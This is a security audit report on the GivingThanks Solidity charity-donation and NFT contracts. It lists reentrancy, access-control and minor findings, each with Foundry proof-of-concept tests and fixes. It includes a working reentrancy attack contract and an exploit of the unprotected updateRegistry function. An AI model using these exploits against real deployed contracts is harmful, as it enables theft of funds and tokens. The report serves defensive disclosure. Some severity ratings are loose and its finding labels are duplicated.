Protocol Audit Report

Version 1.0

Sauron

November 14, 2024

Protocol Audit Report

Sauron

November 09, 2024

Prepared by: Sauron Lead Auditors: - Sauron

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
    * [H-01] Reentrancy Vulnerability in donate() Function Allows Multiple NFT Mints
    * [H-02] Missing Access Control in updateRegistry Function
  - Medium
    * [M-01] ETH Can Be Permanently Locked in Contract
    * [M-01] No Validation Against EOA Charities
  - Low

* [L-01] Suboptimal Use of `abi.encodePacked()` for String Concatenation
* [L-02] Use of _mint() Instead of _safeMint() for ERC721 Tokens
* [L-03] Missing checks for `address(0)` when assigning values to address state variables
* [L-04] No Maximum Supply Limit on NFT Minting
* [L-05] PUSH0 Opcode Compatibility Issues
* [L-06] Missing Maximum Donation Amount Validation

Protocol Summary

GivingThanks is a decentralized platform that embodies the spirit of Thanksgiving by enabling donors to contribute Ether to registered and verified charitable causes. Charities can register themselves, and upon verification by the trusted admin, they become eligible to receive donations from generous participants. When donors make a donation, they receive a unique NFT as a donation receipt, commemorating their contribution. The NFT's metadata includes the donor's address, the date of the donation, and the amount donated.

Disclaimer

The Sauron team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact**		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described is this document correspond the following commit hash:

```
304812abfc16df934249ecd4cd8dea38568a625d
```

Scope

```
./src/
-- GivingThanks.sol
-- CharityRegistry.sol
```

Roles

- Admin (Trusted) - Can verify registered charities.
- Charities - Can register to receive donations once verified.
- Donors - Can donate Ether to verified charities and receive a donation receipt NFT.

Executive Summary

First real audit from the codehawks website. An easiest one, but with two Highs and two Mediums.

Issues found

Severity	Number of issues found
High	2
Medium	2
Low	6
Info	0
Total	10

Findings

High

[H-01] Reentrancy Vulnerability in donate() Function Allows Multiple NFT Mints

Impact High - Attacker can mint multiple NFTs while only paying for one, effectively stealing NFTs and manipulating contract state.

Descritpion

The donate() function is vulnerable to reentrancy attacks because it follows the pattern:

- External call to send ETH
- State changes (NFT minting) This allows malicious contracts to re-enter and mint multiple NFTs before the first transaction completes.

Proof of Concept

```
contract MaliciousCharity {
    GivingThanks public givingThanks;
    uint256 public counter;

    constructor(address _givingThanks) {
        givingThanks = GivingThanks(_givingThanks);
    }

    function attack() external payable {
        givingThanks.donate{value: 1 ether}(address(this));
    }

    receive() external payable {
        if (counter < 2) {
            counter++;
            givingThanks.donate{value: msg.value}(address(this));
        }
    }
}

// Test proving the vulnerability
function testReentrancyAttack() public {
    MaliciousCharity maliciousCharity = new MaliciousCharity(address(
        charityContract));
    vm.deal(address(maliciousCharity), 3 ether);
    charityContract.updateRegistry(address(registryContract));

    vm.startPrank(admin);
    registryContract.registerCharity(address(maliciousCharity));
    registryContract.verifyCharity(address(maliciousCharity));
    vm.stopPrank();

    maliciousCharity.attack();

    // Proves 3 NFTs were minted with only 1 ETH payment
    assertGt(charityContract.tokenCounter(), 1);
}
```

Recommendation

1. Implement Checks-Effects-Interactions pattern:

```
function donate(address charity) public payable {
    require(registry.isVerified(charity), "Charity not verified");

    // Effects
    uint256 currentTokenId = tokenCounter;
    tokenCounter += 1;

    // Mint NFT
    _mint(msg.sender, currentTokenId);
    string memory uri = _createTokenURI(msg.sender, block.timestamp,
        msg.value);
    _setTokenURI(currentTokenId, uri);

    // Interactions
    (bool sent,) = charity.call{value: msg.value}("");
    require(sent, "Failed to send Ether");
}
```

2. Or use OpenZeppelin's ReentrancyGuard:

```
contract GivingThanks is ERC721URIStorage, ReentrancyGuard {
    function donate(address charity) public payable nonReentrant {
        // ... function implementation
    }
}
```

[H-02] Missing Access Control in updateRegistry Function

Impact

HIGH - Any external actor can:

- Change the registry address at will
- Override charity verification system
- Redirect donations to fake charities

- Complete compromise of contract's security model

Description

The updateRegistry function in GivingThanks contract lacks access controls, allowing any address to modify the core registry address that validates charities. This critical oversight breaks the trust assumptions of the donation system.

```
// Vulnerable code
function updateRegistry(address _registry) public {
    registry = CharityRegistry(_registry);
}
```

Proof of Concept

```
function testUpdateRegistryNoAccessControl() public {
    address attacker = makeAddr("attacker");
    address maliciousRegistry = makeAddr("maliciousRegistry");

    vm.startPrank(attacker);
    // Anyone can change registry
    charityContract.updateRegistry(maliciousRegistry);
    assertEq(address(charityContract.registry()), maliciousRegistry);
    vm.stopPrank();
}
```

Recommendation

1. Add Ownable pattern:

```
import "@openzeppelin/contracts/access/Ownable.sol";

contract GivingThanks is ERC721URIStorage, Ownable {
    function updateRegistry(address _registry) public onlyOwner {
        require(_registry != address(0), "Invalid registry address");
        registry = CharityRegistry(_registry);
        emit RegistryUpdated(_registry);
    }

    event RegistryUpdated(address newRegistry);
}
```

Medium

[M-01] ETH Can Be Permanently Locked in Contract

Impact

MEDIUM - ETH sent to contract can become permanently locked:

- No withdrawal mechanism
- No fallback/receive functions
- No way to recover mistakenly sent ETH
- Admin cannot rescue funds

Description

The contract lacks any mechanism to withdraw ETH that might get stuck in the contract through:

- Direct transfers to contract
- Failed transactions
- Force-sent ETH (selfdestruct)

Proof of Concept

```

function testLockedEthInContract() public {
    vm.deal(address(charityContract), 1 ether);
    assertEq(address(charityContract).balance, 1 ether);

    vm.prank(admin);
    (bool success,) = address(charityContract).call{value: 0}("");
    assertFalse(success);

    // ETH remains stuck
    assertEq(address(charityContract).balance, 1 ether);
}
```

Recommendation

Add withdraw function with access control:

```
function withdrawStuckEth() external onlyOwner {
    (bool success,) = msg.sender.call{value: address(this).balance}("")
        ;
    require(success, "Transfer failed");
}
```

[M-01] No Validation Against EOA Charities

Impact

Medium - Allows registration of non-contract addresses as charities.

Description

The contract does not verify that registered charity addresses are actually contracts, allowing EOAs to be registered and receive donations.

Proof of Concept

```
function testDonateToEOA() public {
    address payable eoa = payable(makeAddr("eoa"));
    vm.startPrank(admin);
    registryContract.registerCharity(address(eoa));
    registryContract.verifyCharity(address(eoa));
    vm.stopPrank();

    vm.deal(address(this), 1 ether);
    charityContract.donate{value: 1 ether}(address(eoa));
    assertEq(eoa.balance, 1 ether);
}
```

Recommendation

Add contract validation:

```
function registerCharity(address charity) public {
    require(charity.code.length > 0, "Must be contract");
    registeredCharities[charity] = true;
}
```

Low

[L-01] Suboptimal Use of `abi.encodePacked()` for String Concatenation

Impact Low - No direct security Impact in current implementation.

Description The contract uses `abi.encodePacked()` for string concatenation in NFT metadata creation. While safe in this implementation, better alternatives exist for string operations.

Proof of Concept

```
function _createTokenURI(address donor, uint256 date, uint256 amount)
    internal pure returns (string memory) {
    string memory json = string(
        abi.encodePacked(
            '{"donor":"',
            Strings.toHexString(uint160(donor), 20),
            '","date":"',
            Strings.toString(date),
            '","amount":"',
            Strings.toString(amount),
            '"}'
        )
    );
}
```

Recommendation

Use bytes.concat() for string operations:

```
string memory json = string(
    bytes.concat(
        bytes('{"donor":"'),
        bytes(Strings.toHexString(uint160(donor), 20)),
        bytes('","date":"'),
        bytes(Strings.toString(date)),
        bytes('","amount":"'),
        bytes(Strings.toString(amount)),
        bytes('"}')
    )
);
```

[L-02] Use of _mint() Instead of _safeMint() for ERC721 Tokens

Impact

Low - Tokens could be permanently locked if minted to incompatible contracts.

Description

The contract uses _mint() instead of _safeMint() when creating NFTs, allowing tokens to be minted to addresses that cannot handle ERC721 tokens.

Proof of Concept

```
function testMintToNonERC721Receiver() public {
    NonERC721Receiver nonReceiver = new NonERC721Receiver();
    vm.deal(address(nonReceiver), 1 ether);

    charityContract.updateRegistry(address(registryContract));

    vm.startPrank(admin);
    registryContract.registerCharity(charity);
    registryContract.verifyCharity(charity);
    vm.stopPrank();

    vm.prank(address(nonReceiver));
    charityContract.donate{value: 1 ether}(charity);

    assertEq(charityContract.ownerOf(0), address(nonReceiver));

    vm.expectRevert(
        abi.encodeWithSignature("ERC721InvalidReceiver(address)",
            address(this))
    );
    vm.prank(address(nonReceiver));
    charityContract.safeTransferFrom(address(nonReceiver), address(this
        ), 0);
}
```

Recommendation

Replace _mint() with _safeMint() in the donate function:

```
function donate(address charity) public payable {
    require(registry.isVerified(charity), "Charity not verified");
    (bool sent,) = charity.call{value: msg.value}("");
    require(sent, "Failed to send Ether");

    _safeMint(msg.sender, tokenCounter);  // Use safeMint instead of
        mint

    string memory uri = _createTokenURI(msg.sender, block.timestamp,
        msg.value);
    _setTokenURI(tokenCounter, uri);

    tokenCounter += 1;
}
```

[L-03] Missing checks for `address(0)` when assigning values to address state variables

Impact

Low - Contract state could be set to invalid addresses.

Description

Multiple functions accept address parameters without validating against zero address:

```
function updateRegistry(address _registry) public {
    registry = CharityRegistry(_registry); // No validation
}
```

Proof of Concept

```
function testMissingZeroAddressChecks() public {
    vm.startPrank(admin);
    registryContract.registerCharity(address(0));
    charityContract.updateRegistry(address(0));
    vm.stopPrank();
}
```

Recommendation

Add zero address validation:

```
function updateRegistry(address _registry) public {
    require(_registry != address(0), "Zero address not allowed");
    registry = CharityRegistry(_registry);
}
```

[L-04] No Maximum Supply Limit on NFT Minting

Impact Low - No upper bound on total number of NFTs that can be minted.

Description The contract lacks a maximum supply limit for NFTs, allowing unlimited minting through donations.

Proof of Concept

```
function testTokenCounterOverflow() public {
    vm.startPrank(admin);
    vm.store(
        address(charityContract),
        bytes32(uint256(2)), // tokenCounter slot
        bytes32(type(uint256).max)
    );

    vm.expectRevert();
    charityContract.donate{value: 1 ether}(charity);
}
```

Recommendation

Add maximum supply limit:

```
uint256 public constant MAX_SUPPLY = 1000000;

function donate(address charity) public payable {
    require(tokenCounter < MAX_SUPPLY, "Max supply reached");
    // ... rest of function
}
```

[L-05] PUSH0 Opcode Compatibility Issues

Impact

Low - Contract deployment could fail on chains not supporting PUSH0.

Description

Using Solidity ˆ0.8.0 includes PUSH0 opcode which isn't supported by all chains.

Proof of Concept

```
pragma solidity ^0.8.0;  // Could use PUSH0 opcode
```

Recommendation

Specify compatible version:

```
pragma solidity 0.8.19;  // Before PUSH0 introduction
```

[L-06] Missing Maximum Donation Amount Validation

Impact Low - No upper bound on donation amounts could cause numerical issues.

Description The donate function accepts any non-zero amount without maximum limit.

Proof of Concept

```
function testExcessiveDonationAmount() public {
    uint256 hugeAmount = type(uint256).max;
    vm.deal(address(this), hugeAmount);
    vm.expectRevert();
    charityContract.donate{value: hugeAmount}(charity);
}
```

Recommendation

Add maximum donation limit:

```
uint256 public constant MAX_DONATION = 1000000 ether;

function donate(address charity) public payable {
    require(msg.value <= MAX_DONATION, "Donation too large");
    // ... rest of function
}
```